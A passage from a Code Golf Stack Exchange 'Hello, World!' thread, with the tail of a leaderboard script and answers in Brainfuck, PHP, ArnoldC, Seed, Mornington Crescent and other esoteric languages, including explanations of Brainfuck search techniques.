ANSWER_FILTER; } function commentUrl(index, answers) { return "https://api.stackexchange.com/2.2/answers/" + answers.join(';') + "/comments?page=" + index + "&pagesize=100&order=desc&sort=creation&site=codegolf&filter=" + COMMENT_FILTER; } function getAnswers() { jQuery.ajax({ url: answersUrl(answer_page++), method: "get", dataType: "jsonp", crossDomain: true, success: function (data) { answers.push.apply(answers, data.items); answers_hash = []; answer_ids = []; data.items.forEach(function(a) { a.comments = []; var id = +a.share_link.match(/\d+/); answer_ids.push(id); answers_hash[id] = a; }); if (!data.has_more) more_answers = false; comment_page = 1; getComments(); } }); } function getComments() { jQuery.ajax({ url: commentUrl(comment_page++, answer_ids), method: "get", dataType: "jsonp", crossDomain: true, success: function (data) { data.items.forEach(function(c) { if (c.owner.user_id === OVERRIDE_USER) answers_hash[c.post_id].comments.push(c); }); if (data.has_more) getComments(); else if (more_answers) getAnswers(); else process(); } }); } getAnswers(); var SCORE_REG = /<h\d>\s*([^\n,<]*(?:<(?:[^\n>]*>[^\n<]*<\/[^\n>]*>)[^\n,<]*)*),.*?(\d+)(?=[^\n\d<>]*(?:<(?:s>[^\n<>]*<\/s>|[^\n<>]+>)[^\n\d<>]*)*<\/h\d>)/; var OVERRIDE_REG = /^Override\s*header:\s*/i; function getAuthorName(a) { return a.owner.display_name; } function process() { var valid = []; answers.forEach(function(a) { var body = a.body; a.comments.forEach(function(c) { if(OVERRIDE_REG.test(c.body)) body = '<h1>' + c.body.replace(OVERRIDE_REG, '') + '</h1>'; }); var match = body.match(SCORE_REG); if (match) valid.push({ user: getAuthorName(a), size: +match[2], language: match[1], link: a.share_link, }); else console.log(body); }); valid.sort(function (a, b) { var aB = a.size, bB = b.size; return aB - bB }); var languages = {}; var place = 1; var lastSize = null; var lastPlace = 1; valid.forEach(function (a) { if (a.size != lastSize) lastPlace = place; lastSize = a.size; ++place; var answer = jQuery("#answer-template").html(); answer = answer.replace("{{PLACE}}", lastPlace + ".") .replace("{{NAME}}", a.user) .replace("{{LANGUAGE}}", a.language) .replace("{{SIZE}}", a.size) .replace("{{LINK}}", a.link); answer = jQuery(answer); jQuery("#answers").append(answer); var lang = a.language; lang = jQuery('<a>'+lang+'</a>').text(); languages[lang] = languages[lang] || {lang: a.language, lang_raw: lang, user: a.user, size: a.size, link: a.link}; }); var langs = []; for (var lang in languages) if (languages.hasOwnProperty(lang)) langs.push(languages[lang]); langs.sort(function (a, b) { if (a.lang_raw.toLowerCase() > b.lang_raw.toLowerCase()) return 1; if (a.lang_raw.toLowerCase() < b.lang_raw.toLowerCase()) return -1; return 0; }); for (var i = 0; i < langs.length; ++i) { var language = jQuery("#language-template").html(); var lang = langs[i]; language = language.replace("{{LANGUAGE}}", lang.lang) .replace("{{NAME}}", lang.user) .replace("{{SIZE}}", lang.size) .replace("{{LINK}}", lang.link); language = jQuery(language); jQuery("#languages").append(language); } } ``` ``` body { text-align: left !important; display: block !important; } #answer-list { padding: 10px; width: 290px; float: left; } #language-list { padding: 10px; width: 500px; float: left; } table thead { font-weight: bold; } table td { padding: 5px; } ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <link rel="stylesheet" type="text/css" href="https://cdn.sstatic.net/Sites/codegolf/all.css?v=ffb5d0584c5f"> <div id="language-list"> <h2>Shortest Solution by Language</h2> <table class="language-list"> <thead> <tr><td>Language</td><td>User</td><td>Score</td></tr> </thead> <tbody id="languages"> </tbody> </table> </div> <div id="answer-list"> <h2>Leaderboard</h2> <table class="answer-list"> <thead> <tr><td></td><td>Author</td><td>Language</td><td>Size</td></tr> </thead> <tbody id="answers"> </tbody> </table> </div> <table style="display: none"> <tbody id="answer-template"> <tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{LANGUAGE}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr> </tbody> </table> <table style="display: none"> <tbody id="language-template"> <tr><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr> </tbody> </table> ``` [Answer] # Stuck, 0 bytes Well, can't get shorter than that... An empty program will output `Hello, World!` in [Stuck](http://esolangs.org/wiki/Stuck). [Answer] # [PHP](https://php.net), 13 bytes ``` Hello, World! ``` Yes. It works. [Try it online!](https://tio.run/##K8go@P/fIzUnJ19HITy/KCdF8f9/AA "PHP – Try It Online") [Answer] # Brainfuck, 78 bytes ~~***Open-ended bounty:** If anyone can improve this score, I will pass the bounty (+500) on to them.*~~ [@KSab](https://codegolf.stackexchange.com/users/15858/ksab) has found a [~~76~~ 72 byte solution](https://codegolf.stackexchange.com/a/163590/4098)! ``` --<-<<+[+[<+>--->->->-<<<]>]<<--.<++++++.<<-..<<.<+.>>.>>.<<<.+++.>>.>>-.<<<+. ``` [Try it online!](https://tio.run/nexus/brainfuck#HYqBCQBACAIHEp1AXCR@/zH6SkU4tEnTRqGMkMzZ9suzSRknDWhqWMlmPtrhiItQ9wc) The first 28 bytes `--<-<<+[+[<+>--->->->-<<<]>]` initialize the tape with the following recurrence relation (mod 256): \$f\_n=171(-f\_{n-1}-f\_{n-2}-f\_{n-3}+1)\$, with \$f\_0=57, f\_1=123,f\_2=167\$ The factor of \$171\$ arises because \$3^{-1}=171 \pmod{256}\$. When the current value is translated one cell back (via `<+>---`) subtracting \$3\$ each time effectively multiplies the value by \$171\$. At \$n=220\$ the value to be translated is zero, and the iteration stops. The ten bytes preceding the stop point are the following: \$[130, 7, 43, 111, 32, 109, 87, 95, 74, 0]\$ This contains all of the components necessary to produce `Hello, World!`, in hunt-and-peck fashion, with minor adjustments. I've also found an alternative 78 byte solution: ``` -[++[<++>->+++>+++<<]---->+]<<<<.<<<<-.<..<<+.<<<<.>>.>>>-.<.+++.>>.>-.<<<<<+. ``` [Try it online!](https://tio.run/nexus/brainfuck#HUqBCQAwCDpI7ALxkdj/ZzRLTDQdNtACTCOakx4D4ymoFZYqBhfKDr2/rC/xivQzHw) I consider this one to be better than the first for several reasons: it uses less cells left of home, it modifies less cells in total, and terminates more quickly. --- ### More Detail Recurrence relations have surprisingly terse representations in Brainfuck. The general layout is the following: ``` {...s3}<{s2}<{s1}[[<+>->{c1}>{c2}>{c3...}<<<]>{k}] ``` which represents: \$f\_n=c\_1f\_{n-1}+c\_2f\_{n-2}+c\_3f\_{n-3}+\cdots+k\$ with \$f\_0=s\_1, f\_1=s\_2+c\_1f\_0+k,f\_2=s\_3+c\_2f\_0+c\_1f\_1+k,\text{etc.}\$ Additionally, the `<+>` may be changed to multiply the range by a constant without affecting the stop point, and a term may be added before the `>{k}` to shift the range by a constant, again without affecting the stop point. --- ### Other Examples **Fibonacci Sequence** ``` +[[<+>->+>+<<]>] ``` ***N*-gonal Numbers** *Triangular Numbers* ``` +[[<+>->++>-<<]>+] ``` Defined as \$f\_n=2f\_{n-1}-f\_{n-2}+1\$, with \$f\_0=0,f\_1=1\$. *Square Numbers* ``` +[[<+>->++>-<<]>++] ``` *Pentagonal Numbers* ``` +[[<+>->++>-<<]>+++] ``` etc. --- ### BF Crunch I've published the code I used to find some of this solutions on [github](https://github.com/primo-ppcg/BF-Crunch). Requires .NET 4.0 or higher. ``` Usage: bfcrunch [--options] text [limit] Arguments ------------------------------------------------------------ text The text to produce. limit The maximum BF program length to search for. If zero, the length of the shortest program found so far will be used (-r). Default = 0 Options ------------------------------------------------------------ -i, --max-init=# The maximum length of the initialization segment. If excluded, the program will run indefinitely. -I, --min-init=# The minimum length of the initialization segment. Default = 14 -t, --max-tape=# The maximum tape size to consider. Programs that utilize more tape than this will be ignored. Default = 1250 -T, --min-tape=# The minimum tape size to consider. Programs that utilize less tape than this will be ignored. Default = 1 -r, --rolling-limit If set, the limit will be adjusted whenever a shorter program is found. -?, --help Display this help text. ``` Output is given in three lines: 1. Total length of the program found, and the initialization segment. 2. Path taken, starting with the current tape pointer. Each node corresponds to one character of output, represented as (pointer, cost). 3. Utilized tape segment. For example, the final result for `bfcrunch "hello world" 70 -r -i23` is: ``` 64: ++++[[<+>->+++++>+<<]>] 49, (45, 5), (44, 3), (45, 6), (45, 1), (45, 4), (42, 4), (43, 5), (45, 3), (45, 4), (46, 2), (44, 4) 32, 116, 100, 104, 108, 132, 0, 0, 132, 0 ``` This corresponds to the full program: ``` ++++[[<+>->+++++>+<<]>]<<<<.<+.>++++..+++.<<<.>+++.>>.+++.>.<<-. ``` --- ### Other Records **Hello, World!** *Wrapping, ~~**78 bytes**:~~* *[Surpassed by @KSab (72)](https://codegolf.stackexchange.com/a/163590/4098)* ``` --<-<<+[+[<+>--->->->-<<<]>]<<--.<++++++.<<-..<<.<+.>>.>>.<<<.+++.>>.>>-.<<<+. ``` or ``` -[++[<++>->+++>+++<<]---->+]<<<<.<<<<-.<..<<+.<<<<.>>.>>>-.<.+++.>>.>-.<<<<<+. ``` *Non-wrapping, ~~**80 bytes** (previously [92 bytes (mitchs)](http://codegolf.stackexchange.com/a/55506)):~~* *[Surpassed by @KSab (76)](https://codegolf.stackexchange.com/a/163590/4098)* ``` -[[<]->+>>>>+>+>+>+>+>+]>>>>+.>>>++.<++..<.<<--.<+.>>>>>>--.<<<.+++.>.>-.<<<<<+. ``` **Hello, world!** *Wrapping, ~~**80 bytes**:~~* *[Surpassed by @KSab (77)](https://codegolf.stackexchange.com/a/163590/4098)* ``` ++<-[[<+>->+>--->-<<<]>+++]>+.<<<<<<<++.>>>..>.<<--.<<<--.>>+.>>>.+++.<.<<<-.<+. ``` *Non-wrapping, **81 bytes** (previously [92 bytes (hirose)](http://golf.shinh.org/reveal.rb?Helloworldless+Hello+world/hirose_1313505002&bf)):* ``` +>---->->+++>++>->+[++++++++[>++++++++>>+++++<<<-]<]>>.>++>.>..+>>.+>-->--[>-.<<] ``` **hello, world!** *Wrapping, ~~**74 bytes**:~~* *[Surpassed by @KSab (70)](https://codegolf.stackexchange.com/a/163590/4098)* ``` -<++[[<+>->->+++>+<<<]->]<<.---.<..<<.<<<---.<<<<-.>>-.>>>>>.+++.>>.>-.<<. ``` *Non-wrapping, **84 bytes**:* ``` ---->+++>++>->->++[+++++++[>+++++[>++>>+<<<-]<-]++<]>>>>.---.>---..+>->.+>-->+>[-.<] ``` --- ### [Esolangs](http://esolangs.org/wiki/Brainfuck) Version **Hello World!\n** *Wrapping, **76 bytes**:* ``` +[++[<+++>->+++<]>+++++++]<<<--.<.<--..<<---.<+++.<+.>>.>+.>.>-.<<<<+.[<]>+. ``` This uses one cell left of home, and thus would be considered 77. *Non-wrapping, **83 bytes**:* ``` ->+>>>+>>---[++++++++++[>++++++>+++>+<<<-]-<+]>+>+.>.->--..>->-.>[>.<<]>[+>]<<.>++. ``` [Rdebath approved](https://esolangs.org/wiki/Talk:Brainfuck#Shortest_known_.22hello_world.22_program.). profilebf output: ``` Hello World! Program size 83 Final tape contents: : 0 0 73 101 109 115 112 88 33 10 0 ^ Tape pointer maximum 10 Hard wrapping would occur for unsigned cells. Counts: +: 720 -: 79 >: 221 <: 212 Counts: [: 9 ]: 84 .: 13 ,: 0 Total: 1338 ``` --- ### [inversed.ru](http://inversed.ru/InvMem.htm#InvMem_7) (Peter Karpov) **Hello World!** *Wrapping, **70 bytes** (previously 781):* ``` +[++[<+++>->+++<]>+++++++]<<<--.<.<--..<<---.<+++.<+.>>.>+.>.>-.<<<<+. ``` *Non-wrapping, **77 bytes** (previously 89?):* ``` ->+>>>+>>-[++++++[>+++++++++>+++++>+<<<-]<+]>>.>--.->++..>>+.>-[>.<<]>[>]<<+. ``` The author claims that the shortest hand-coded "Hello World!" is 89 bytes, but provides no reference. I hereby claim the record for this, too. **hello world!** *Wrapping, **65 bytes** (previously 66 bytes):* ``` +++[>--[>]----[----<]>---]>>.---.->..>++>-----.<<<<--.+>>>>>-[.<] ``` This is actually hand-coded as well (the best I could find by crunching is [68 bytes](https://tio.run/nexus/brainfuck#HYiBCQBACAIHkpxAXCTaf4w@X1C8W1y6BZdzYUjj0YUCvyQzMUHan32mruDuAw)). The first cell is initialized to 259 (3), and decremented by 7 each iteration, looping 37 times. The next cell is decremented by 6, resulting in 256 − 6·37 = 34. The rest of the cells are decremented by 4 each time, adding one cell each iteration, with each new cell inialized to 252 (-4). The result is the following: ``` [ 3, 0, 0, 0, 0, 0, 0, ...] [252, 250, 248, 0, 0, 0, 0, ...] [245, 244, 244, 248, 0, 0, 0, ...] [238, 238, 240, 244, 248, 0, 0, ...] [231, 232, 236, 240, 244, 248, 0, ...] [224, 226, 232, 236, 240, 244, 248, ...] ... [ 35, 64, 124, 128, 132, 136, 140, ...] [ 28, 58, 120, 124, 128, 132, 136, ...] [ 21, 52, 116, 120, 124, 128, 132, ...] [ 14, 46, 112, 116, 120, 124, 128, ...] [ 7, 40, 108, 112, 116, 120, 124, ...] [ 0, 34, 104, 108, 112, 116, 120, ...] ``` 1 The solution given (79 bytes) can be trivially reduced by one: ``` -[>>+>+[++>-<<]-<+<+]>---.<<<<++.<<----..+++.>------.<<++.>.+++.------.>>-.<+. ``` [Answer] # [ArnoldC](http://lhartikk.github.io/ArnoldC/), 71 bytes ``` IT'S SHOWTIME TALK TO THE HAND "Hello, World!" YOU HAVE BEEN TERMINATED ``` Just for lols... [Try it online!](https://tio.run/##DcmxCoAgEADQ3a@4XFr6CcMDpVTIK2mMbDsS/H@4euu7@tu43iKexgzZpUI@oCKzLkAJyCE4Ey1o9zC3CUrrXAetzrT/cSDMiBEIt@CjIbQiHw "ArnoldC – Try It Online") [Answer] # [Seed](https://esolangs.org/wiki/Seed), ~~6016~~ ~~4234~~ 4203 bytes ``` 20 854872453003476740699221564322673731945828554947586276010721089172712854441839676581917455319274850944955030258951339804246125714958815519550291630078076933441706558540342671975808828643360922071900333028778314875248417953197990571991784126564752005357199892690656368640420204822142316716413192024742766282266114842280731756458212469988291309261528542889299297601723286769284159107438930448971911102280330101196758384815655479640836157495863547199726234352265518586460633795171196315255736880028338460236768181141732764911402112878175632130129852788301009582463631290071329795384336617491655825493435803011947670180368458659271192428341035912236946048939139042310380278430049252171822721598175984923434205610723412240162418996808671543770639111617709604242882388664919702606792443015941265168129550718541372361144081848761690730764968771245566074501485020726368378675085908872608679630368472956274468410052703615106090238423979678950131481176272880569100533049143775921798055136871254424261001442543122666701145111965968366507060931708140304772342855064834334129143038575569044150428480231956133612367393837580345180691911525531699573096952433882387811884727975431823620782822755161559988205401134640722220804177812794328129589949692446031008866917615922944976151073653201316255518389496411696741029209242119521978920200314572718584995265523235225587228975886710511855501710470163649632761488899317729943053884132314641377747687975638119132094777769497069556255954031537245957811105217875011509899497752696062748928963281605780942517262774976217663461063680912331030221981433051827519906741285738915397005702326447635845195923640649166530310494885569783989508000344280715868581532826832242144647203531393142251025361866506821695860883605004105862208004440476654027574832078603305884731766236740069411566854496824754558761536201352147934963241039597221404341132342297870517293237489233057335406510464277610336142382379135365550299895416613763920950687921780736585299310706573253951966294045814905727514141733220565108490291792987304210662448111170752411153136765318541264632854767660676223663544921028492602135525959428999005153729028491208277493747933069008199074925710651071766675870081314909460661981433426167330215548196538791617762566403934129026219366764038390123622134753742930729751695349588862441999672547791630729398908283091638866715502470152431589429837867944760012419885615525232399584379209285060418518373512154801760060312646951597932345591416241634668119867158079946680321131213357200382937049485606706114467095019612014749723443159443363662563254359712162432143334612180576945072905749883870150120687696027984317320305291407322779803583395375616762530641605634303022155218169343410634115050596030685041633824154135240376022159918501703555881290333205131375705406831260759974112248490451605422031345264183102048614606636275942039438138959188478277971377232005036301145411215067576576667743288951344423152531417111852584846747428443123174595987315325304540564683047858415059703724263652136185848573853965992798725654430360647040362341567082462847275277303225817689141675391972818943419663764371222973269129542760661385278009266471167618553065823580448848795731295589715602705860758954890415040763604082216728159486423396295188510311881004469017351709060492844398219491990895826924575575549615118821417543037296628825303328056839433114519945243963946989899508355224823109677424196639930153649890175062456649384605721510239142861693109687536600667811037619175927995599388547421689316110236566026931360164495251160997857372500940728057700473763884480342708897319990346726967220426504612260565552531158509215849649565188655100774748485416791517853427613458459889062942881409801879085054494129489535044719193283409051007851153504224002807392992520076910314763705776345053922387355156981872691537772657428096384535960466923475731297217863371650154415835785630016335858514130863258775100537612371430357576913148500310344278511588325852376442503898849856566716198848377379400158332792027967216204970114516984638014129252882482309132898416484525230488700253065644547798869056136044415413099076332059572505138116227535024546891015836838323022822272664771489129085797354578016574544759934333471793 ``` [Try it online!](https://tio.run/##JdfZdR05DATQVBwCSXDNZxyB8z@aWy3/WHpPTQK1Af3v79//fn5G@3PXvGfMVa3VPPvMtt8bo689a4x96lR/c91x15pvnnX3OLv1dkZv9/UzTvfdnLPfevvsdbtP51qeG2fe1d6cb61Wbaz7Vq96t80xdx/rdF/d29fq@ZPx@lbIue3sV@XM0/ZajlecYvpzf7uKUV3tptDmQ6WX0@85t7p21pjXoy8lnPeaa56afDa2vnzf2qrv0/vGfu7YtZ2prDbavPqfo7oL9@zpo415pr738N3e3S1zDGVWP04ET9eQ464WSl27r6Ayrgvg@QLZGaVwnQ2VrAfCWfdVm/M@tfTeW87USm@9w3LduhM4IJjnKe@Wc08g2@Uj9Z@xR81aqoLh9cXcbVdpvp8cUgpZ62jvNhCVE3cbpYzbrz76KX1Nt882OirPTUs1tNHHu2uce1NRc6sey4kD4qeXrkB8w8TGOO5QNagkBekjTURSrftlXyjtRRI@HYCp2VtBYSjmqQkIBbvXgnyr21w8iWG@sYZeAE9y66W8d33qFnStHSk6bIzZ@h5k@N4mEuStWYeAKtCq8LS3IzykjLp3p@t32gDYUZLLHP9ppANnRJCuXRTggnCOgI6QszvNnGrBbVMd7tfaG5@r9SieKkcUVUcZq931iNZHqQolHxrHBaw0p5@hC@cWdnsjawTRV8F3H5ZpPbLu/fh7xev55QlC0UF6BCu5@4K7FMRYM32CRj3Tbzgj21DR5@rRxVI53rSYC8lYb1zW5gmacXvbE0kVaHMLStbRJoKoF46QUCffbpZmZpqqV3oO9265kiSqjv546T0qxMDjTioMBaTWb5A4fK1Gn23Q3ZjMVThb6/NUEwC912SBM/xrAgSfSDpPTH1koR0b4XE3AmohmOmdISUSQedDlxNWjSC61aVKFvTcpBBgY2JwewQKJLp78E8mOHKuZB2LTa3Ebuwc4xG9om6iKaJr8IUe0vw8IU4ILojLkCgPAjbyFY5C7TOSwxM05xx@uUFjF2zYQS0YOUJDAwBFgAtfArGvSnCD9SY6YhLRByeJ@4FBF8KNuhPDQidF3L7F4XXqEBDCw5WQ8eze8KU@AmpcWTGhPOoMhy9dXZxInBaU6OMATgmqciAhjD0Vz/gzWc6eyIrDaKxCiOFxb/QjpF9ELY/oZCZFu2gArONQT5cj@COSNGRESQUIQRo7i9RudLtl7k4SYtooWJICCKZT1EGjwlxPgFK2/ivC2gnXFclVGo5kZ4Mq9vk3U4wrRP2aIZVeoseO5C5/62MxqaW9kxHRJFAPfWrT1mmB9Pn9wztXnZLTxov2t/nhyBav8DatH/y6YX2DL5BMYFGBwEJ7Ojzx9f00K4ijnNjVqWAQ8E8LTxWQm5lyIWh@kQ5BKeFaYs1UddC77AfW5qGZNJEnLaPSD4E4o7u@uMNklLKS3TvhuJPRmThSFwUJXzNE8awNCxQ@utB9FPm@P@hY@LQFC9AVkFky8jkJdNZIdScsZM6dfFnpIqMACr@qS4RJFTqUBGoWW1LjfWHOBxIcGV9ASXFSVeXJZxTWEkhIstSoaqJFdDBWNFPf0nGDg4rYXkKe8@0e4Q8Vijf08klihD5XNgDzQXYRq5bfb7i/iF7KglFQrSTW@IJBRhhf5wsTE8Hgga20ObW6bmRnz4PJquCNTaKKdkhP3H6TLI7cyYFvmNEBV/ugGc7A0psdJtFk6ajzGWyFrvbNKv9ncjzJbAjE5c5O9UqmQVCNjHm562KHudC5vkoMDOm9EjoriLTsHFx2g4Beo8wEi/TVYzYIUbEyJUhVdGcUCQKLHuhXKHQXCcyEj6bqN1lAZQXZWRdmgicu5GOTyffc2IKA5oybGRMiFmR50DZ3E7BuWVkflahukgeLG0/mhRiBLIVbkpw8shOaXSs18CvcQQ16nPRv6WPLSI9qTjRNWdazLuXwkciIniFVGZBZII3r@uZpTlc5HbPQJ@iTofTtunJofCtYxZc9o8EWrBTJczJDM5or@7JrODQRCCqHQspqkIGckRNkRG0SP5sF5JKDOSlBLA0M9Bc@aFnoBWLNkCzQsiHKNxPe/ja@eWvbkAa4Eh0mzic4Psk@ZETQtyekC7xpGHacI@Bf5mzW4Di0vtWwZdd1Tw/JmXuYswRm/xMyWZYy9r9lKkvuimiS0nhJ4HHat0xYpdRrv8LuTgkYsMrK0Cfi@IZ3MOb/nmwXJj1GIvE46304PgPhZaXj3uyq2QWysZy8uGT2e3qEhRV0yDrb/A3apJOl6obx@jYkRovVBT7HyQMBZ2Al8Mgo@@kLyeMXJLncMipmgsPxBu5MNr1v117ZWikMuPjO6vg9blSzoADYGd9Rdl6bsh@7CpeCZ0UhVlEP7LwboN0TIwcAy6uJGDMTCZrEowPc4yM7UtwrU825kwhDRV6gKAAJlczzK5yz8rACSeFgZ0fM1FifXAWORULtN@vRyzSRhTYmu3@0G@lFNZYAM2rl@B1Lmf@yAi8jgyFLpTTodGANbhkhiWvEewHDZN57pJ5FE5Xf2Zju33dZ6Nv3jvW9QuWl7WTx5SRNnXQoM5zp@yyT2KEvgyObdlYTa5PG4jJ448KpeQGwFo5MhU@WJwM270teXpCY1RbNish7aOIHCjdTtezurGnbX9/ufbLxnm8vXjH@@3b0lUXx22p@@xCaI6M7RrJxiWrY0MkKle7M0LCbMKNJ4sKE5sjQGFn9E8ote9@nSa2Zy7AMgOCg3WixZUt0LC5w8k0fYZaJ@mWuFJnfdEPey9tSfDZ/I7VlHO8vOLlUeQKLGHe278rEWzPZ8JXFHXpJbvOo15CYXvs3mYBZyWg/yGbZAzkgE7z1jRNT/tXPz/8 "Seed – Try It Online") The resulting Befunge-98 program (based on [this](https://codegolf.stackexchange.com/a/55486/30688)) is ``` "9!dlroW ,olleH"ck,@ ``` [Try it online!](https://tio.run/##S0pNK81LT9W1tNAtqAQz//9XslRMySnKD1fQyc/JSfVQSs7Wcfj/HwA "Befunge-98 (PyFunge) – Try It Online") [Answer] ## [Mornington Crescent](https://github.com/padarom/esoterpret), ~~3614~~ 3568 bytes *Thanks to NieDzejkob for saving 46 bytes by using shorter line names.* ``` Take Northern Line to Hendon Central Take Northern Line to Bank Take Circle Line to Bank Take District Line to Gunnersbury Take District Line to Victoria Take Victoria Line to Seven Sisters Take Victoria Line to Victoria Take Circle Line to Victoria Take Circle Line to Bank Take Circle Line to Hammersmith Take Circle Line to Cannon Street Take Circle Line to Hammersmith Take Circle Line to Cannon Street Take Circle Line to Bank Take Circle Line to Hammersmith Take District Line to Upminster Take District Line to Hammersmith Take District Line to Upminster Take District Line to Gunnersbury Take District Line to Paddington Take District Line to Acton Town Take Piccadilly Line to Holloway Road Take Piccadilly Line to Acton Town Take District Line to Acton Town Take District Line to Gunnersbury Take District Line to Hammersmith Take Circle Line to Notting Hill Gate Take District Line to Upminster Take District Line to Notting Hill Gate Take District Line to Upminster Take District Line to Victoria Take Victoria Line to Seven Sisters Take Victoria Line to Victoria Take Circle Line to Victoria Take District Line to Upminster Take District Line to Gunnersbury Take District Line to Mile End Take District Line to Hammersmith Take Circle Line to Notting Hill Gate Take District Line to Upminster Take District Line to Upminster Take District Line to Mile End Take District Line to Paddington Take Circle Line to Paddington Take District Line to Acton Town Take Piccadilly Line to Heathrow Terminals 1, 2, 3 Take Piccadilly Line to Holborn Take Central Line to Holborn Take Central Line to Mile End Take District Line to Upminster Take District Line to Hammersmith Take District Line to Upminster Take District Line to Barking Take District Line to Hammersmith Take District Line to Upminster Take District Line to Gunnersbury Take District Line to Barking Take District Line to Gunnersbury Take District Line to Paddington Take Circle Line to Paddington Take Circle Line to Wood Lane Take Circle Line to Victoria Take Circle Line to Victoria Take District Line to Gunnersbury Take District Line to Hammersmith Take District Line to Upminster Take District Line to Gunnersbury Take District Line to Paddington Take Circle Line to Paddington Take District Line to Mile End Take Central Line to Fairlop Take Central Line to Mile End Take District Line to Barking Take District Line to Upminster Take District Line to Upminster Take District Line to Hammersmith Take Circle Line to Notting Hill Gate Take District Line to Upminster Take District Line to Mile End Take District Line to Gunnersbury Take District Line to Paddington Take Circle Line to Paddington Take Circle Line to Hammersmith Take District Line to Mile End Take District Line to Richmond Take District Line to Mile End Take District Line to Paddington Take Circle Line to Paddington Take District Line to Richmond Take District Line to Bank Take Circle Line to Hammersmith Take District Line to Upminster Take District Line to Stepney Green Take District Line to Hammersmith Take District Line to Stepney Green Take District Line to Upney Take District Line to Notting Hill Gate Take Circle Line to Notting Hill Gate Take Circle Line to Notting Hill Gate Take District Line to Upminster Take District Line to Upney Take District Line to Upminster Take District Line to Bank Take Circle Line to Bank Take Northern Line to Charing Cross Take Bakerloo Line to Charing Cross Take Bakerloo Line to Paddington Take Circle Line to Bank Take Circle Line to Bank Take Northern Line to Mornington Crescent ``` [Try it online!](https://tio.run/##xVdLbsJADN33FHMAumh7gpK2sACE@LRrk1jNiMRGzlDE6akRn4pAGJIS2CBFz3ie7Wd7JmUhS9@O6TEUzEIkt1qNYIqmx@JiFDIdS2gcmzZSxGQCNRFIHk4bNYGmGyiwEiZ4AnizmRMbuj3UmhOhZJO5LAssPvWDxcIG3n3t4SH@IJmh/kvdFNgcusiROwsWhtSGNNUDU@vik3gARJqwoRNEV5OHy8kdJXU8Sy2tU1aA/9@Dv7B9iKKN/AoMXrUwZEa82Br0bRhCZJNk@ceTk4QXsDQDhqjQKu/Ie1KFaHzl7LFzGq1pKzPTAocV83otP7dtqxrk07V62jtFd66HD/fQzDdBjuVVegTBxcILM0JRrpBk5qlhnhvm5VxbTXQ5bClthv5loCfc@udOE2SqGbvjXDvPoPxc9EgiB38xR6YDhOWXnadlK8zAG2yNsg1zKNC8fD/ASsKzSto@X/f/zpFbzTNPkHXL1y8hD8GBDeOUC@Gax7Hn9BpvbEOHM8Klael1kSr35yVexmuLcreTy7Ra24Yu5uvfJt4nzdEzKIhB1rwD4Wx7dWrqj84VLmXj0WIVat39i09P3r34fgE "Mornington Crescent – Try It Online") This is most certainly suboptimal, but it's half the size of the solution on esolangs. `Hello, World` is constructed via slicing the following station names and concatenating the results: ``` Hendon Central ▀▀ Holloway Road ▀▀▀ Heathrow Terminals 1, 2, 3 ▀▀ Wood Lane ▀▀ Fairlop ▀▀ Richmond ▀ ``` Finally, I'm computing the character code of `!` as `(2<<4)+1 == 33`. All these parts are concatenated in Paddington and finally printed in Mornington Crescent. **Note:** The language doesn't specify whether it's possible to travel to same station twice in a row, but the interpreter does allow it, so I've made use of it. [Answer] # brainfuck, 72 bytes ``` +[-->-[>>+>-----<<]<--<---]>-.>>>+.>>..+++[.>]<<<<.+++.------.<<-.>>>>+. ``` [Try it online!](https://tio.run/##HYpBCoBADAMfVJoXhHyk7EEFQQQPgu@v2Z3DEMLs73Y953fc3VGZypJCOSEHba@hhPxbQEQUNGjmxmoT5Gocdf8) And the original non-wrapping **76 byte** solution: ``` +[+[<<<+>>>>]+<-<-<<<+<++]<<.<++.<++..+++.<<++.<---.>>.>.+++.------.>-.>>--. ``` [Try it online!](https://tio.run/##HYhRCoBAEEIPJOMJZC6y7EcFQQR9BJ1/ckeRp@7vdj3nd9xVGBiSkNaEwvYSMCUaHWKVXhHBTGZf0WKuy6z6AQ "brainfuck – Try It Online") ### Other shortest known (to my knowledge) solutions I've found **'Hello, world!' 77 bytes:** ``` +[+++<+<<->>>[+>]>+<<++]>>>>--.>.>>>..+++.>>++.<<<.>>--.<.+++.------.<<<-.<<. ``` [Try it online!](https://tio.run/##HUrJCYBAECsoTCoIaWTZhwqCCD4E6x9nJ4/c@7tdz/kddyYGAEEK2wOeLg/MSo6gWUrWp0yRJPag7qKx2kXM/AE) **'hello, world!' 70 bytes:** ``` +[>>>->-[>->----<<<]>>]>.---.>+..+++.>>.<.>>---.<<<.+++.------.<-.>>+. ``` [Try it online!](https://tio.run/##HYpBCoAwEAMftGxeEPKR0oMWCiJ4EHz/mnYOQ0hyvsf1zG/cVdEkpbItGZJd6oIzFEBEQAKtVXnfVW5An/yq@gE) --- These were found using a c++ program I wrote here: <https://github.com/ksabry/bfbrute> Note: I originally wanted to clean up this code before I posted it to make it actually somewhat readable and usable, but since I haven't gotten around to it in over a year I figure I'll just post it as is. It makes heavy use of templates and compile time constants for any potential optimizations and it has a bunch of commented out code from my testing but no helpful comments so sorry but it's a bit horrible. There is nothing terribly clever about the code, it's brute forcer at it's core, however it is quite optimized. The major optimization is that it first iterates through all programs without loops (no `[` or `]`) up to a specified length (16 currently) and caches an array of all the changes it will make on the data array. It will only store a single program per unique array of changes so for example only one of `>+<<->` and `<->>+<` will be stored. It then iterates through all possible programs which are composed of any program in this cache with any combination of loops between them. After executing each program it does a simple greedy hunt and peck for the characters and appends this to the end of the program. After running this through the space of all programs I noticed that almost all the shortest programs (up to length ~19) were of the form `*[*[*]*]`. Restricting the search to programs of this form sped up the search considerably. The current record holder was found at length 27. This one was actually computed to be length 74, but I noticed a particular sequence `.>.>.>.` which was lucky enough to have a 0 in the data cell to it's right allowing it to be simplified to `[.>]<` bringing it down to 72. I let it run for quite awhile and completed the search with the current parameters up to length 29, I suspect it will be difficult to beat the current one by simply going higher, I think the most promising approach would probably be increasing the search space in some intelligent way. [Answer] # [evil](http://esolangs.org/wiki/Evil), 70 bytes ``` aeeeaeeewueuueweeueeuewwaaaweaaewaeaawueweeeaeeewaaawueeueweeaweeeueuw ``` [Try it online!](https://tio.run/##JYs5CsBADAPfOsUUgbSOnu9dOyAJdPk9bzfqMGWV0RokQATD1Wzz71jrJkx6j@k@ "evil – Try It Online") It uses the following four commands: ``` a - increment the register u - decrement the register e 